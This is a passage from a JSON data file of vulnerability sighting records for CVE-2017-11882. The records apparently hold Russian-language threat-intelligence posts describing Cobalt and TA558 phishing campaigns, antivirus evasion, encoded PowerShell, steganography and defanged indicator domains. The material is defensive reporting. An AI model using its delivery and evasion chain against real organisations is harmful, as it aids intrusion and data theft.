\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 MS Office\n\nhttps://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about", "creation_timestamp": "2017-11-15T18:56:28.000000Z"}, {"uuid": "a13e338c-5494-4228-abbe-858d2f8cd4de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/F_A_C_C_T/427", "content": "\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u043d\u043e\u0433\u0438\u0435 \u043d\u0430\u0441 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442,  \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0437 Cobalt  \u043f\u043e\u0434\u043d\u044f\u043b\u0438 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043d\u0435\u0433 \u2014  1 \u043c\u043b\u0440\u0434 \u0440\u0443\u0431\u043b\u0435\u0439 \u0437\u0430 11 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445  \u0430\u0442\u0430\u043a \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 ( \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0426\u0411).  Cobalt \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0441\u0445\u0435\u043c\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 \u043e\u043d\u0438 \u043d\u0430\u0448\u043b\u0438 \u043d\u0430 GitHub Proof of Concept \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 (\u0435\u0439 \u0443\u0436\u0435 17 \u043b\u0435\u0442!), \u0430 \u0442\u0430\u043a\u0436\u0435 python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u00ab.rtf\u00bb \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.  \u0423\u0436\u0435 \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 Cobalt \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u043f\u043e \u0431\u0430\u043d\u043a\u0430\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0432\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.   \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u0438 \u043e\u043d\u043e \u043f\u043e\u043f\u0430\u043b\u043e \u043a \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0443 \u0431\u0430\u043d\u043a\u0430.  \u0421\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u0430\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439, \u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u043d\u0438 \u0442\u0443\u0442 \u0436\u0435 \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0442\u0430\u043a, \u0447\u0442\u043e \u043e\u043d \u0441\u043d\u043e\u0432\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438. \u0422\u0430\u043a\u0438\u0435 \u0432\u043e\u0442 \u043a\u043e\u0448\u043a\u0438-\u043c\u044b\u0448\u043a\u0438. https://www.group-ib.ru/blog/antivirus\n\u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0448\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 TDS Polygon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a CERT Group-IB \u043e\u043f\u043e\u0432\u0435\u0441\u0442\u0438\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435.", "creation_timestamp": "2018-02-13T10:22:28.000000Z"}, {"uuid": "aca3e8a8-3b76-4593-a8a7-8081fe2532df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/F_A_C_C_T/3279", "content": "\ud83c\udde7\ud83c\uddfe\ud83c\uddf7\ud83c\uddfa\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2024 \u0433. \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 F.A.C.C.T. Threat Intelligence \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0431\u0430\u043d\u043a\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438\n\n\u2b06\ufe0f\u0426\u0435\u043b\u044c\u044e \u044d\u0442\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0431\u044b\u043b\u0430 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u0410\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 \u0422\u0410558.\n\n\ud83d\udd0e \u0422\u0410558 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441 2018 \u0433. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u2014 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0413\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0441\u0432\u043e\u0438\u0445 \u0436\u0435\u0440\u0442\u0432.\n\n\u2699\ufe0f \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a \u0422\u0410558:\n\n\u2600\ufe0f\u0421\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\u2600\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0438\u043c\u0435\u043d\u0430\u043c\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430 \u00abLove\u00bb \u0438 \u00abKiss\u00bb. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0442\u0430\u043a\u043e\u0435 \u043a\u0430\u043a Agent Tesla \u0438\u043b\u0438 Remcos, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f: \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e \u0441 \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u044b, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0431\u0443\u0444\u0435\u0440\u043e\u043c \u043e\u0431\u043c\u0435\u043d\u0430 \u0438 \u043c\u044b\u0448\u044c\u044e, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u2699\ufe0f \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f F.A.C.C.T.\n\n\ud83d\udce9 5 \u043c\u0430\u0440\u0442\u0430 2024 \u0433. \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u0442\u0430\u043a\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b expo@bcmsrll[.]com, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u043a \u0434\u043e\u043c\u0435\u043d\u0443 bcmsrll[.]com. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u044c \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 TA558. \u0410\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.\n\n\ud83d\udce9 \u0412 \u043f\u0435\u0440\u0438\u043e\u0434 1 \u044f\u043d\u0432\u0430\u0440\u044f \u2014 25 \u043c\u0430\u044f 2024 \u0433. \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d bcmsrll[.]com \u043c\u0435\u0436\u0434\u0443 \u0442\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AutoSMTP \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c. \u041f\u0438\u0441\u044c\u043c\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c, \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c, \u0442\u0443\u0440\u0435\u0446\u043a\u043e\u043c, \u0440\u0443\u043c\u044b\u043d\u0441\u043a\u043e\u043c \u0438 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0430\u0445, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u043e \u0438\u043b\u043b\u044e\u0437\u0438\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u043b\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u043f\u0435\u0445\u0430 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udce9 \u0417\u0430\u043f\u0443\u0441\u043a \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043c\u0430\u043a\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0443 hxxp://tau[.]id/0vzd8, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b VBS \u0441\u043a\u0440\u0438\u043f\u0442 \u00abxmass.vbs\u00bb, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b PowerShell \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n\ud83d\udce9\u0410\u0442\u0430\u043a\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 PowerShell. \u0414\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Base64, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u043c PowerShell, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. \u042d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 Remcos.\n\n\u2699\ufe0f \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b\n\n\u0410\u0442\u0430\u043a\u0438 TA558 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0443\u0445\u0438\u0449\u0440\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u0447\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. TA558 \u043d\u0435 \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u0435\u0442 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0435\u0439 \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 \u043f\u0438\u0441\u0435\u043c \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u043f\u0435\u0445\u0430 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83e\udd2d \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 TA558 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u044c, \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0433\u0440\u0443\u043f\u043f\u044b \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.", "creation_timestamp": "2024-07-25T11:00:19.000000Z"}, {"uuid": "700c13eb-cc7c-4ba5-95bd-e9d89dd5bae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/F_A_C_C_T/330", "content": "\u0425\u043e\u0442\u0438\u0442\u0435 \u0437\u043d\u0430\u0442\u044c, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u043e\u0431\u044b\u0433\u0440\u044b\u0432\u0430\u044e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438? \u0412\u043e\u0442 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0439. \u0422\u0440\u0438 \u0434\u043d\u044f \u043d\u0430\u0437\u0430\u0434 \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b Cobalt  \u043d\u0430\u0448\u043b\u0438 \u043d\u0430 GitHub Proof of Concept \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 (\u0435\u0439 \u0443\u0436\u0435 17 \u043b\u0435\u0442!), \u0430 \u0442\u0430\u043a\u0436\u0435 python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u00ab.rtf\u00bb \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.  \u0423\u0436\u0435 \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 Cobalt \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u043f\u043e \u0431\u0430\u043d\u043a\u0430\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0432\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.   \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u0438 \u043e\u043d\u043e \u043f\u043e\u043f\u0430\u043b\u043e \u043a \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0443 \u0431\u0430\u043d\u043a\u0430.  \u0421\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b 